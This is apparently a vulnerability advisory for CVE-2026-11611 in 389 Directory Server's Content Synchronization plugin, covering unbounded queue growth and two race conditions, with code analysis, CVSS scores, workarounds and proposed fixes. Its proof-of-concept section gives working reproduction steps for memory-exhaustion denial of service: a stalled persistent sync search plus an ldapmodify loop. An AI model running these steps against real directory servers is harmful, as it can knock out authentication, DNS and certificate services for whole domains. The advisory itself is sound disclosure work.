// Moderate (6.5)
CVE-2026-11611

Content Sync plugin unbounded queue growth and race conditions

CVE ID
CVE-2026-11611
Product
389-ds-base
Severity
Moderate (6.5)
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
CWE
CWE-362
Red Hat CVE
Red Hat CVE page

Summary

The Content Synchronization (syncrepl) persistent search plugin in 389 Directory Server contains three bugs that affect server availability. The most impactful allows an authenticated user with search permissions to exhaust server memory by opening a persistent sync search and then stopping reads, causing unbounded queue growth until the server crashes. This has been independently confirmed on two production platforms (UBI 8 and CentOS Stream 8) with measured growth of +3.2 MB to +17.6 MB from 500 modifications, and +33 MB from 34,000 modifications under cgroup confinement. Two additional race conditions in the plugin’s thread lifecycle can cause list corruption during connection teardown or undefined behavior during server shutdown on ARM and POWER architectures.

Affected Versions

All versions of 389-ds-base that include the Content Synchronization plugin (ldap/servers/plugins/sync/sync_persist.c) are affected. The vulnerable code has been present since the plugin’s introduction and no upstream fix has been committed as of 2026-04-22.

PackageNVRStreamStatus
389-ds-base1.3.11.1-11.el7_9RHEL 7 ELSVulnerable (code present)
389-ds-base1.4.3.39-2.module_el8RHEL 8 (389-ds:1.4 module)Vulnerable (confirmed — production reproduction on UBI 8 and CentOS Stream 8)
389-ds-base2.4.5-24.el9_4RHEL 9.4 EUSVulnerable (code present)
389-ds-base2.7.0-10.el9_7RHEL 9.7Vulnerable (code present)
389-ds-base3.1.3-7.el10_1RHEL 10.1Vulnerable (code present)
389-ds-base3.1.4-7.fc43Fedora 43Vulnerable (code present)

Note: The “code present” status is based on the fact that sync_persist.c has not received an upstream fix for queue depth limiting, the sync_persist_terminate dangling pointer race, or thread_count atomicity. The file is present in all versions of the package that ship the Content Synchronization plugin. Production reproduction was performed on 389-ds-base-1.4.3.39-2.module_el8 on two independent platforms.

Affected Products

ProductVersionStatusVerification
Red Hat Enterprise Linux 77.9 (ELS)Affected389-ds-base-1.3.11.1-11.el7_9 ships sync_persist.c
Red Hat Enterprise Linux 88.x (389-ds:1.4 module)AffectedProduction reproduction on 389-ds-base-1.4.3.39-2.module_el8 confirmed Bug 1 (two independent confirmations)
Red Hat Enterprise Linux 99.4 EUS, 9.6 EUS, 9.7Affected389-ds-base delivered via AppStream (RHDS 12.5+); sync_persist.c present in 2.4.x-2.7.x
Red Hat Enterprise Linux 1010.0 EUS, 10.1Affected389-ds-base-3.1.3-7.el10_1 ships sync_persist.c
Red Hat Directory Server 10RHEL 7AffectedRHDS 10 = 389-ds-base-1.3.x on RHEL 7
Red Hat Directory Server 11RHEL 8AffectedRHDS 11 = 389-ds-base-1.4.x on RHEL 8
Red Hat Directory Server 12RHEL 9 (12.5+)AffectedRHDS 12.5+ delivers 389-ds-base from RHEL AppStream; same package
Red Hat Identity Management (IdM)RHEL 7/8/9/10AffectedFreeIPA/IdM uses 389-ds-base as its LDAP backend; ipa-server requires 389-ds-base
CentOS Stream 8LatestAffectedProduction reproduction on 389-ds-base-1.4.3.39-2 (CentOS Stream 8 container) confirmed Bug 1
CentOS Stream 9LatestAffected389-ds-base-2.7.0-4.el9 in CentOS Stream 9 AppStream
CentOS Stream 10LatestAffected389-ds-base-3.1.3-5.el10 in CentOS Stream 10 AppStream
Fedora43Affected389-ds-base-3.1.4-7.fc43

Architecture Validation

ArchitectureTestedResult
x86_64YESBug 1 (queue DoS) confirmed on UBI 8 and CentOS Stream 8 containers. Bugs 2-3 race conditions are real but practically mitigated by x86-64 TSO memory model + PR_Sleep compiler barrier

Bug 3 (thread_count data race) is most impactful on aarch64 and ppc64le due to weak memory models where store reordering is permitted by hardware. These architectures have not been independently tested.

Root Cause

Bug 1: Unbounded Queue Growth (CWE-400)

File: ldap/servers/plugins/sync/sync_persist.c:507-628 (function sync_queue_change) Function: sync_queue_change()

When an LDAP modification matches a persistent sync search’s scope and filter, sync_queue_change() allocates a new SyncQueueNode with a full deep copy of the entry and appends it to the per-request queue:

// line 578
node = (SyncQueueNode *)slapi_ch_calloc(1, sizeof(SyncQueueNode));
// ...
node->sync_entry = slapi_entry_dup(e);  // full deep copy
// line 597-604
PR_Lock(req->req_lock);
pOldtail = req->ps_eq_tail;
req->ps_eq_tail = node;
if (NULL == req->ps_eq_head) {
    req->ps_eq_head = req->ps_eq_tail;
} else {
    pOldtail->sync_next = req->ps_eq_tail;
}
PR_Unlock(req->req_lock);

There is no queue depth limit. The consumer thread in sync_send_results() dequeues nodes one at a time, but slapi_send_ldap_search_entry can block for up to 30 minutes per entry (per code comment at line 1059). If the client reads slowly or stops reading, the queue grows without bound.

SYNC_MAX_CONCURRENT (default 10) limits the number of concurrent persistent sync sessions, not per-session queue depth. Each of the 10 allowed sessions can accumulate an unlimited number of queued entries.

The allocation function slapi_ch_calloc (used at line 578) calls oom_occurred() which invokes exit(1) when allocation fails (ch_malloc.c:114). The ultimate DoS outcome is a clean server crash, not an exploitable memory corruption state.

Bug 2: Dangling-Pointer Race (CWE-362)

File: ldap/servers/plugins/sync/sync_persist.c:767-791 (function sync_persist_terminate) Function: sync_persist_terminate()

The function finds a SyncRequest pointer under a read lock, releases the lock, then uses the pointer outside the lock:

SYNC_LOCK_READ();                    // acquire read lock
cur = sync_request_list->sync_req_head;
while (NULL != cur) {
    if (cur->req_tid == tid) {
        cur->req_active = PR_FALSE;
        cur->req_complete = PR_TRUE;
        rc = 0;
        break;
    }
    cur = cur->req_next;
}
SYNC_UNLOCK_READ();                  // release lock, cur still held
if (rc == 0) {
    sync_remove_request(cur);        // uses cur OUTSIDE the lock
}

Between SYNC_UNLOCK_READ() (line 785) and sync_remove_request(cur) (line 788), the sync_send_results thread can observe req_complete == PR_TRUE, exit its main loop, and free the SyncRequest. sync_remove_request then receives a dangling pointer. In the normal race scenario, the pointer is used only as a comparand (not dereferenced), and the traversal fails to find the already-removed node, logging “Attempt to remove nonexistent req”. The actual risk is memory reuse: if the freed memory is reallocated for a new SyncRequest, the pointer comparison could match the wrong node, causing wrong-node removal from the linked list.

Bug 3: Non-atomic thread_count (CWE-362)

File: ldap/servers/plugins/sync/sync_persist.c:32 (declaration), lines 733, 806, 1120 Variable: static PRUint64 thread_count

thread_count is a plain PRUint64 accessed from three threads without atomic operations, mutexes, or memory barriers:

  • Incremented at line 733 (sync_persist_add, connection handler thread)
  • Decremented at line 1120 (sync_send_results, per-request thread)
  • Read at line 806 (sync_persist_terminate_all, shutdown thread)

On x86-64, the strong memory model (TSO) and PR_Sleep compiler barrier in the spin-wait reduce practical risk. On aarch64 and ppc64le (weak memory model architectures), the lack of memory barriers means the shutdown thread could observe thread_count == 0 before the send-results thread has finished freeing resources. The shutdown thread then destroys the rwlock, mutex, and condition variable (lines 810-812) while they may still be in use.

The analogous code in psearch.c (lines 143, 303, 455) already uses slapi_atomic_incr_64/slapi_atomic_load_64 with __ATOMIC_RELEASE/__ATOMIC_ACQUIRE ordering. The infrastructure exists but was never applied to sync_persist.c.

plugin_closing (line 31: static int plugin_closing = 0;) has the same unsynchronized access pattern.

Proof of Concept

PoC source code: CVE-2026-11611 on GitHub

Three PoC scripts are provided in the poc/ directory.

Bug 1: Unbounded Queue Growth DoS

Primary PoC: poc/015-sync-queue-dos-external.py

A self-contained python3 script (uses only stdlib: socket, struct, subprocess). Opens a persistent sync search via raw BER-encoded LDAP, drains the refresh phase, stops reading, and generates modifications to fill the unbounded queue. Monitors VmRSS via podman exec for container deployments.

Prerequisites:

  • 389 Directory Server instance with Content Synchronization and Retro Changelog plugins enabled
  • Authenticated user with search ACL on the target subtree

Setup (run once):

dsconf <instance> plugin contentsync enable
dsconf <instance> plugin retro-changelog enable
dsctl <instance> restart

Usage:

CONTAINER=ds-test DM_PW=password MOD_COUNT=500 \
  python3 poc/015-sync-queue-dos-external.py localhost 389 \
    "uid=testuser,ou=people,dc=test,dc=com" testpass123 \
    "dc=test,dc=com" \
    "uid=testuser,ou=people,dc=test,dc=com"

Expected result: VmRSS grows linearly and without bound.

First confirmation (UBI 8):

Baseline:          82,832 kB
After 100 mods:    84,816 kB  (+1,984 kB)
After 200 mods:    85,532 kB  (+2,700 kB)
After 300 mods:    95,660 kB  (+12,828 kB)
After 400 mods:    96,196 kB  (+13,364 kB)
After 500 mods:    96,476 kB  (+13,644 kB)
Continued:        100,448 kB  (+17,616 kB)  -- still growing

Second confirmation (CentOS Stream 8):

Baseline:          87,756 kB
After 100 mods:    88,816 kB  (+1,060 kB)
After 200 mods:    89,432 kB  (+1,676 kB)
After 300 mods:    89,988 kB  (+2,232 kB)
After 400 mods:    90,508 kB  (+2,752 kB)
After 500 mods:    91,060 kB  (+3,304 kB)

Extended test (34,000 mods in 192 MB cgroup): server reached +33 MB growth (142 MB to 176 MB) before kernel cgroup reclaim prevented further growth. Full OOM requires larger entries, multiple stalled clients, or a tighter cgroup limit.

Production variant: poc/015-sync-queue-dos-production.py — identical PoC used for the independent second confirmation.

Stress Test

Multi-connection PoC: poc/015-sync-plugin-race-stress.py

Opens N concurrent persistent sync searches without consuming results. Useful for demonstrating multi-client queue accumulation.

python3 poc/015-sync-plugin-race-stress.py <host> <port> <bind_dn> <password>

Manual Reproduction (without PoC script)

  1. Enable Content Synchronization and Retro Changelog plugins.

  2. Open a persistent sync search using RFC 4533 Content Synchronization control (OID 1.3.6.1.4.1.4203.1.9.1.1) with refreshAndPersist mode:

    ldapsearch -x -H ldap://localhost:389 \
      -D "uid=testuser,ou=people,dc=example,dc=com" -w <password> \
      -b "dc=example,dc=com" -s sub "(objectClass=*)" \
      -E '!sync=rp/cookie' &
  3. Wait for the refresh phase to complete, then stop reading from the client connection (e.g., suspend the ldapsearch process with kill -STOP $!).

  4. Generate write traffic against matching entries:

    for i in $(seq 1 500); do
      ldapmodify -x -H ldap://localhost:389 \
        -D "cn=Directory Manager" -w <password> <<EOF
    dn: uid=testuser,ou=people,dc=example,dc=com
    changetype: modify
    replace: description
    description: test modification $i
    EOF
    done
  5. Monitor the ns-slapd process memory:

    while true; do grep VmRSS /proc/$(pidof ns-slapd)/status; sleep 5; done
  6. Expected result: VmRSS grows linearly and without bound.

Bugs 2 and 3

Bugs 2 (dangling-pointer race) and 3 (non-atomic thread_count) require a ThreadSanitizer-instrumented build (-fsanitize=thread) to reproduce reliably. The race windows are too narrow for crash-based detection.

Impact

This finding contains three bugs with different severity levels. The primary CVSS is for Bug 1 (the most impactful).

Bug 1: Unbounded Queue Growth DoS

CVSS 3.1: 6.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)

ComponentValueJustification
AVN (Network)LDAP is a network service; the attack is performed over TCP
ACL (Low)No race conditions or special conditions required; standard LDAP operations suffice
PRL (Low)Requires authentication (LDAP BIND) and search ACL on the target subtree
UIN (None)No user interaction required; server-side write traffic is normal operational behavior
SU (Unchanged)Impact is confined to the 389-ds-base process
CN (None)No data disclosure
IN (None)No data modification
AH (High)Server crashes via OOM (slapi_ch_calloc -> exit(1)); complete denial of service

Production measurement: +3.2 MB from 500 single-attribute modifications on one entry with one stalled client (CentOS Stream 8 confirmation). Growth rate of ~6.4 KB per modification. Extended test showed +33 MB from 34,000 modifications. With real entries (groups with hundreds of members, ~100 KB each), 10 concurrent stalled sync sessions, and sustained write traffic, this scales to GB-level memory consumption.

Bug 2: Dangling-Pointer Race

CVSS 3.1: 3.1 (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L)

ComponentValueJustification
AVN (Network)Triggered by LDAP operations over the network
ACH (High)Requires precise timing between two server-internal threads; attacker cannot directly control thread scheduling
PRL (Low)Requires authentication for the persistent sync search
UIN (None)No user interaction required
SU (Unchanged)Impact is confined to the 389-ds-base process
CN (None)No data disclosure
IN (None)No data modification beyond possible list corruption
AL (Low)Wrong-node removal from internal list; may cause a single sync session to become invisible but does not crash the server

Bug 3: Non-atomic thread_count

CVSS 3.1: 2.2 (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:L)

ComponentValueJustification
AVN (Network)Attacker influences timing by having active sync sessions during shutdown
ACH (High)Requires the server to be shutting down while sync sessions are active; attacker cannot trigger shutdown
PRH (High)Requires both authentication for sync sessions and administrative access to trigger shutdown (or coincidence with maintenance)
UIN (None)No user interaction required
SU (Unchanged)Impact is confined to the 389-ds-base process
CN (None)No data disclosure
IN (None)No data modification
AL (Low)Potential crash during controlled shutdown; does not affect running operations

Theoretical Chain: Queue DoS to Deref Plugin NULL Deref

The memory exhaustion from Bug 1 may create the precondition for a separate NULL dereference vulnerability in the deref plugin. Once server memory is exhausted, ber_init() in the deref plugin could fail to allocate, returning NULL. Any anonymous client then crashes the server via a search with the deref control (OID 1.3.6.1.4.1.4203.666.5.16). This would chain an authenticated DoS (PR:L) into a pre-auth crash (PR:N). ber_init() uses OpenLDAP liblber’s own allocator (ber_memalloc_x -> standard malloc), NOT slapi_ch_malloc (which calls exit(1) on OOM), so ber_init CAN return NULL on OOM.

Status: THEORETICAL. Tested on 2026-04-23: server reached 176 MB in 192 MB cgroup but kernel reclaim prevented OOM — ber_init() never received a NULL from malloc. The chain is a race against slapi_ch_* -> exit(1). It has not been demonstrated end-to-end.

Comparable CVEs

CVEDescriptionCVSSComparison
CVE-2022-0918389-ds-base unauthenticated DoS via crafted message7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)Higher — unauthenticated; Bug 1 requires authentication (PR:L)
CVE-2024-3657389-ds-base crafted LDAP query DoS7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)Higher — unauthenticated; Bug 1 requires authentication
CVE-2018-10850389-ds-base race condition in persistent search handling5.9 (AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H)Similar class to Bugs 2-3; race condition with availability impact
CVE-2024-5953389-ds-base malformed userPassword hash DoSModerateSimilar — authenticated DoS

Exploitation in the Wild

No evidence of exploitation in the wild. Searches performed across NVD, Bugzilla, oss-security mailing list, GitHub 389ds/389-ds-base issues, and the CISA KEV catalog returned no matching reports for these specific bugs.

Blast Radius

389-ds-base is the LDAP backend for multiple products and services:

DependentRelationshipImpact
Identity Management (IdM/FreeIPA)ipa-server requires 389-ds-baseIdM server crash -> loss of authentication, authorization, DNS, and certificate services for the entire IdM domain
Red Hat Directory Server (RHDS)RHDS IS 389-ds-base (same package)Direct impact — RHDS is the product name for enterprise 389-ds deployments
Dogtag Certificate SystemUses 389-ds-base for its internal LDAP storeCertificate Authority unavailable if DS crashes

A DoS crash of ns-slapd on an IdM server causes cascading failures:

  • Kerberos authentication fails (KDC depends on LDAP for principal data)
  • DNS resolution fails (if IdM-managed DNS is used)
  • Certificate operations fail (Dogtag depends on LDAP)
  • SSSD clients lose authentication capability (cached credentials provide temporary relief)
  • HBAC/sudo rule evaluation fails for new sessions

In a FreeIPA/IdM topology with multiple replicas, the impact is limited to the affected replica. Clients will fail over to other replicas if properly configured. In a single-server deployment, the impact is total loss of identity services.

The Content Synchronization plugin is enabled by default in FreeIPA/IdM deployments. Any authenticated user with search permissions on the replicated subtree can trigger Bug 1. In typical IdM deployments, all domain users have read access to the cn=users,cn=accounts subtree, providing the necessary search ACL.

Workaround

Bug 1 (Queue DoS)

  1. Reduce SYNC_MAX_CONCURRENT: Lower the maximum concurrent persistent sync searches from the default of 10 to minimize the number of clients that can accumulate queues. This does not fix per-client queue growth but limits the attack surface.

  2. Network-level rate limiting: Apply firewall rules or LDAP proxy rate limiting on persistent sync search requests to restrict which clients can open sync sessions.

  3. Monitor client connections: Implement monitoring to detect and terminate stalled sync client connections. A client that stops reading for an extended period should be disconnected.

  4. Resource limits: Set system-level memory limits (e.g., LimitAS= in the systemd unit file or cgroup memory limits) to prevent a single ns-slapd process from consuming all system memory. Note: this will cause the server to crash (via slapi_ch_calloc -> exit(1)) sooner, but protects other services on the same host. Testing showed that kernel cgroup reclaim can bound growth (server reached +33 MB in a 192 MB cgroup without OOM), though this depends on workload and cgroup configuration.

Bugs 2 and 3

No workaround available — these are code-level race conditions that require source fixes.

Proposed Fix

Bug 1: Queue Depth Limit

Add a configurable per-request queue depth limit. Insert a check in sync_queue_change() before the slapi_ch_calloc call at line 578:

PR_Lock(req->req_lock);
if (req->ps_eq_count >= sync_request_list->sync_req_max_queue) {
    PR_Unlock(req->req_lock);
    slapi_log_err(SLAPI_LOG_WARNING, SYNC_PLUGIN_SUBSYSTEM,
                  "sync_queue_change - queue depth limit (%d) exceeded, "
                  "dropping entry for req %p\n",
                  sync_request_list->sync_req_max_queue, req);
    continue;  // skip this request
}
PR_Unlock(req->req_lock);

A ps_eq_count field must be added to SyncRequest and incremented/decremented alongside enqueue/dequeue operations. Suggested default: 10000 entries.

Bug 2: Hold Lock Through Remove

Replace the find-under-read-lock, release, remove pattern with a single write-locked find-and-remove:

SYNC_LOCK_WRITE();
cur = sync_request_list->sync_req_head;
while (NULL != cur) {
    if (cur->req_tid == tid) {
        cur->req_active = PR_FALSE;
        cur->req_complete = PR_TRUE;
        /* Remove from list while still holding write lock */
        /* ... inline removal logic from sync_remove_request ... */
        rc = 0;
        break;
    }
    cur = cur->req_next;
}
SYNC_UNLOCK_WRITE();

Bug 3: Atomic Operations for thread_count and plugin_closing

Replace plain variables with atomic builtins, matching the pattern in psearch.c:

static uint64_t thread_count = 0;
static uint64_t plugin_closing = 0;

// Increment (sync_persist_add):
slapi_atomic_incr_64(&thread_count, __ATOMIC_RELEASE);

// Decrement (sync_send_results):
slapi_atomic_decr_64(&thread_count, __ATOMIC_RELEASE);

// Read (sync_persist_terminate_all):
while (slapi_atomic_load_64(&thread_count, __ATOMIC_ACQUIRE) > 0) {
    PR_Sleep(PR_SecondsToInterval(1));
}

// plugin_closing set (shutdown):
slapi_atomic_store_64(&plugin_closing, 1, __ATOMIC_RELEASE);

// plugin_closing read (sync_send_results):
slapi_atomic_load_64(&plugin_closing, __ATOMIC_ACQUIRE)

Note: Syntax only — not compile-tested. The slapi_atomic_* functions are available in the codebase (used in psearch.c lines 143, 303, 455).

Timeline

DateEvent
2026-04-14Discovered during 389-ds-base security assessment
2026-04-15Reported to vendor
2026-04-22Advisory drafted with two independent confirmations

References

Credits

Discovered by Ian Murphy